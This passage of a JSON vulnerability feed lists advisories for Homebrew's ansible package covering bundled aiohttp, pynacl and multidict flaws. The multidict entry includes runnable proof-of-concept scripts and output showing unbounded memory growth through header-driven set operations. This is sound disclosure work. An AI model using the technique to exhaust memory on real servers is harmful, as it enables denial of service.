Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69224","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69225","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69226","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static ﬁle path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69227","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69228","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to  denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69229","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69230","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69277","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:45Z","upstream":["GHSA-mrfv-m5wm-5w6w","CVE-2025-69277","PYSEC-2026-1448","PYSEC-2026-3002"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.2.0_1"},{"fixed":"13.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.2","resource":"pynacl","resource_purl":"pkg:pypi/pynacl@1.6.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pynacl","subject_version":"1.6.2","key":"pkg:pypi/pynacl@1.6.2","resource":"pynacl"}]},"summary":"libsodium has Incomplete List of Disallowed Inputs","details":"libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.\n\nThis advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69277"},{"type":"WEB","url":"https://github.com/pyca/pynacl/issues/920"},{"type":"WEB","url":"https://github.com/hdwallet-io/python-hdwallet/pull/124"},{"type":"WEB","url":"https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/2cb48f26130919f92f30650bdcc30e6f4ebe45ac"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/4714da6efdc782c06690bc72ce34fae7941c2d9f"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/96314884d88d1089ff5f336dba61d7abbcddbbf7"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/ecf41f55a3d8f1e10ce89c61c4b4d67f3f4467cf"},{"type":"WEB","url":"https://00f.net/2025/12/30/libsodium-vulnerability"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/paragonie/sodium_compat/2025-12-30.yaml"},{"type":"PACKAGE","url":"https://github.com/paragonie/sodium_compat"},{"type":"WEB","url":"https://ianix.com/pub/ed25519-deployment.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00004.html"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=46435614"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-104874","published":"2026-10-06T17:33:07Z","modified":"2026-10-31T18:52:26Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@7.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"7.2.1","key":"pkg:pypi/multidict@7.2.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111063","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111063"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111064","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111065","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_eviden